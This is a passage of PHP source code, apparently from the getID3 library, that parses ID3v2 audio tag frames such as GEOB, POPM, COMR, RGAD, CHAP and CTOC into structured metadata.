($parsedFrame['frame_name'] == 'GEOB')) || // 4.15 GEOB General encapsulated object (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) { // 4.16 GEO General encapsulated object // There may be more than one 'GEOB' frame in each tag, // but only one with the same content descriptor //
    // Text encoding $xx // MIME type $00 // Filename $00 (00) // Content description $00 (00) // Encapsulated object $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_mimetype) === 0) { $frame_mimetype = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_filename) === 0) { $frame_filename = ''; } $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $parsedFrame['objectdata'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['mime'] = $frame_mimetype; $parsedFrame['filename'] = $frame_filename; unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16 PCNT Play counter (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) { // 4.17 CNT Play counter // There may only be one 'PCNT' frame in each tag. // When the counter reaches all one's, one byte is inserted in // front of the counter thus making the counter eight bits bigger //
    // Counter $xx xx xx xx (xx ...) $parsedFrame['data'] = getid3_lib::BigEndian2Int($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17 POPM Popularimeter (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) { // 4.18 POP Popularimeter // There may be more than one 'POPM' frame in each tag, // but only one with the same email address //
    // Email to user $00 // Rating $xx // Counter $xx xx xx xx (xx ...) $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_emailaddress) === 0) { $frame_emailaddress = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); $parsedFrame['email'] = $frame_emailaddress; $parsedFrame['rating'] = $frame_rating; unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18 RBUF Recommended buffer size (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) { // 4.19 BUF Recommended buffer size // There may only be one 'RBUF' frame in each tag //
    // Buffer size $xx xx xx // Embedded info flag %0000000x // Offset to next tag $xx xx xx xx $frame_offset = 0; $parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3)); $frame_offset += 3; $frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1); $parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); unset($parsedFrame['data']); } elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20 Encrypted meta frame (ID3v2.2 only) // There may be more than one 'CRM' frame in a tag, // but only one with the same 'owner identifier' //
    // Owner identifier $00 (00) // Content/explanation $00 (00) // Encrypted datablock $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19 AENC Audio encryption (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) { // 4.21 CRA Audio encryption // There may be more than one 'AENC' frames in a tag, // but only one with the same 'Owner identifier' //
    // Owner identifier $00 // Preview start $xx xx // Preview length $xx xx // Encryption info $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset); unset($parsedFrame['data']); } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20 LINK Linked information (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) { // 4.22 LNK Linked information // There may be more than one 'LINK' frame in a tag, // but only one with the same contents //
    // ID3v2.3+ => Frame identifier $xx xx xx xx // ID3v2.2 => Frame identifier $xx xx xx // URL $00 // ID and additional data $frame_offset = 0; if ($id3v2_majorversion == 2) { $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; } else { $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4); $frame_offset += 4; } $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_url) === 0) { $frame_url = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['url'] = $frame_url; $parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset); if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']); } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21 POSS Position synchronisation frame (ID3v2.3+ only) // There may only be one 'POSS' frame in each tag // // Time stamp format $xx // Position $xx (xx ...) $frame_offset = 0; $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['position'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22 USER Terms of use (ID3v2.3+ only) // There may be more than one 'Terms of use' frame in a tag, // but only one with the same 'Language' //
    // Text encoding $xx // Language $xx xx xx // The actual text $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $frame_language = substr($parsedFrame['data'], $frame_offset, 3); $frame_offset += 3; $parsedFrame['language'] = $frame_language; $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23 OWNE Ownership frame (ID3v2.3+ only) // There may only be one 'OWNE' frame in a tag //
    // Text encoding $xx // Price paid $00 // Date of purch. // Seller $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); } $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3); $parsedFrame['pricepaid']['currency'] = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']); $parsedFrame['pricepaid']['value'] = substr($frame_pricepaid, 3); $parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8); if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) { $parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4)); } $frame_offset += 8; $parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset); $parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding)); unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24 COMR Commercial frame (ID3v2.3+ only) // There may be more than one 'commercial frame' in a tag, // but no two may be identical //
    // Text encoding $xx // Price string $00 // Valid until // Contact URL $00 // Received as $xx // Name of seller $00 (00) // Description $00 (00) // Picture MIME type $00 // Seller logo $frame_offset = 0; $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); $frame_textencoding_terminator = "\x00"; } $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_rawpricearray = explode('/', $frame_pricestring); foreach ($frame_rawpricearray as $key => $val) { $frame_currencyid = substr($val, 0, 3); $parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid); $parsedFrame['price'][$frame_currencyid]['value'] = substr($val, 3); } $frame_datestring = substr($parsedFrame['data'], $frame_offset, 8); $frame_offset += 8; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_sellername) === 0) { $frame_sellername = ''; } $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 } $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); $frame_offset = $frame_terminatorpos + strlen("\x00"); $frame_sellerlogo = substr($parsedFrame['data'], $frame_offset); $parsedFrame['encodingid'] = $frame_textencoding; $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); $parsedFrame['pricevaliduntil'] = $frame_datestring; $parsedFrame['contacturl'] = $frame_contacturl; $parsedFrame['receivedasid'] = $frame_receivedasid; $parsedFrame['receivedas'] = $this->COMRReceivedAsLookup($frame_receivedasid); $parsedFrame['sellername'] = $frame_sellername; $parsedFrame['mime'] = $frame_mimetype; $parsedFrame['logo'] = $frame_sellerlogo; unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25 ENCR Encryption method registration (ID3v2.3+ only) // There may be several 'ENCR' frames in a tag, // but only one containing the same symbol // and only one containing the same owner identifier //
    // Owner identifier $00 // Method symbol $xx // Encryption data $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26 GRID Group identification registration (ID3v2.3+ only) // There may be several 'GRID' frames in a tag, // but only one containing the same symbol // and only one containing the same owner identifier //
    // Owner identifier $00 // Group symbol $xx // Group dependent data $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27 PRIV Private frame (ID3v2.3+ only) // The tag may contain more than one 'PRIV' frame // but only with different contents //
    // Owner identifier $00 // The private data $frame_offset = 0; $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); if (ord($frame_ownerid) === 0) { $frame_ownerid = ''; } $frame_offset = $frame_terminatorpos + strlen("\x00"); $parsedFrame['ownerid'] = $frame_ownerid; $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28 SIGN Signature frame (ID3v2.4+ only) // There may be more than one 'signature frame' in a tag, // but no two may be identical //
    // Group symbol $xx // Signature $frame_offset = 0; $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29 SEEK Seek frame (ID3v2.4+ only) // There may only be one 'seek frame' in a tag //
    // Minimum offset to next tag $xx xx xx xx $frame_offset = 0; $parsedFrame['data'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30 ASPI Audio seek point index (ID3v2.4+ only) // There may only be one 'audio seek point index' frame in a tag //
    // Indexed data start (S) $xx xx xx xx // Indexed data length (L) $xx xx xx xx // Number of index points (N) $xx xx // Bits per index point (b) $xx // Then for every index point the following data is included: // Fraction at index (Fi) $xx (xx) $frame_offset = 0; $parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); $frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8); for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) { $parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint)); $frame_offset += $frame_bytesperpoint; } unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment // http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html // There may only be one 'RGAD' frame in a tag //
    // Peak Amplitude $xx $xx $xx $xx // Radio Replay Gain Adjustment %aaabbbcd %dddddddd // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd // a - name code // b - originator code // c - sign bit // d - replay gain adjustment $frame_offset = 0; $parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; foreach (array('track','album') as $rgad_entry_type) { $rg_adjustment_word = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; $parsedFrame['raw'][$rgad_entry_type]['name'] = ($rg_adjustment_word & 0xE000) >> 13; $parsedFrame['raw'][$rgad_entry_type]['originator'] = ($rg_adjustment_word & 0x1C00) >> 10; $parsedFrame['raw'][$rgad_entry_type]['signbit'] = ($rg_adjustment_word & 0x0200) >> 9; $parsedFrame['raw'][$rgad_entry_type]['adjustment'] = ($rg_adjustment_word & 0x0100); } $parsedFrame['track']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']); $parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']); $parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']); $parsedFrame['album']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']); $parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']); $parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']); $info['replay_gain']['track']['peak'] = $parsedFrame['peakamplitude']; $info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator']; $info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment']; $info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator']; $info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment']; unset($parsedFrame['data']); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only) // http://id3.org/id3v2-chapters-1.0 // (10 bytes) // Element ID $00 // Start time $xx xx xx xx // End time $xx xx xx xx // Start offset $xx xx xx xx // End offset $xx xx xx xx // $frame_offset = 0; @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); $frame_offset += strlen($parsedFrame['element_id']."\x00"); $parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $parsedFrame['time_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." $parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); } $frame_offset += 4; if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." $parsedFrame['offset_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); } $frame_offset += 4; if ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame['subframes'] = array(); while ($frame_offset < strlen($parsedFrame['data'])) { // $subframe = array(); $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); $frame_offset += 4; $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { $this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); break; } $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); $frame_offset += $subframe['size']; $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); $subframe['text'] = substr($subframe_rawdata, 1); $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text'])); switch (substr($encoding_converted_text, 0, 2)) { case "\xFF\xFE": case "\xFE\xFF": switch (strtoupper($info['id3v2']['encoding'])) { case 'ISO-8859-1': case 'UTF-8': $encoding_converted_text = substr($encoding_converted_text, 2); // remove unwanted byte-order-marks break; default: // ignore break; } break; default: // do not remove BOM break; } switch ($subframe['name']) { case 'TIT2': $parsedFrame['chapter_name'] = $encoding_converted_text; $parsedFrame['subframes'][] = $subframe; break; case 'TIT3': $parsedFrame['chapter_description'] = $encoding_converted_text; $parsedFrame['subframes'][] = $subframe; break; case 'WXXX': @list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2); $parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url']; $parsedFrame['subframes'][] = $subframe; break; case 'APIC': if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) { list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches; $subframe['image_mime'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime)); $subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype); $subframe['description'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description)); if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) { // the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16) // the above regex assumes one byte, if it's actually two then strip the second one here $subframe_apic_picturedata = substr($subframe_apic_picturedata, 1); } $subframe['data'] = $subframe_apic_picturedata; unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata); unset($subframe['text'], $parsedFrame['text']); $parsedFrame['subframes'][] = $subframe; $parsedFrame['picture_present'] = true; } else { $this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format'); } break; default: $this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)'); break; } } unset($subframe_rawdata, $subframe, $encoding_converted_text); unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC } $id3v2_chapter_entry = array(); foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) { if (isset($parsedFrame[$id3v2_chapter_key])) { $id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key]; } } if (!isset($info['id3v2']['chapters'])) { $info['id3v2']['chapters'] = array(); } $info['id3v2']['chapters'][] = $id3v2_chapter_entry; unset($id3v2_chapter_entry, $id3v2_chapter_key); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only) // http://id3.org/id3v2-chapters-1.0 // (10 bytes) // Element ID $00 // CTOC flags %xx // Entry count $xx // Child Element ID $00 /* zero or more child CHAP or CTOC entries */ // $frame_offset = 0; @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); $frame_offset += strlen($parsedFrame['element_id']."\x00"); $ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1)); $frame_offset += 1; $parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1)); $frame_offset += 1; $terminator_position = null; for ($i = 0; $i < $parsedFrame['entry_count']; $i++) { $terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset); $parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset); $frame_offset = $terminator_position + 1; } $parsedFrame['ctoc_flags']['ordered'] = (bool) ($ctoc_flags_raw & 0x01); $parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03); unset($ctoc_flags_raw, $terminator_position); if ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame['subframes'] = array(); while ($frame_offset < strlen($parsedFrame['data'])) { // $subframe = array(); $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); $frame_offset += 4; $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { $this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); break; } $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); $frame_offset += $subframe['size']; $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); $subframe['text'] = substr($subframe_rawdata, 1); $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));; switch (substr($encoding_converted_text, 0, 2)) { case "\xFF\xFE": case "\xFE\xFF": switch (strtoupper($info['id3v2']['encoding'])) { case 'ISO-8859-1': case 'UTF-8': $encoding_converted_text = substr($encoding_converted_text, 2); // remove unwanted byte-order-marks break; default: // ignore break; } break; default: // do not remove BOM break; } if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) { if ($subframe['name'] == 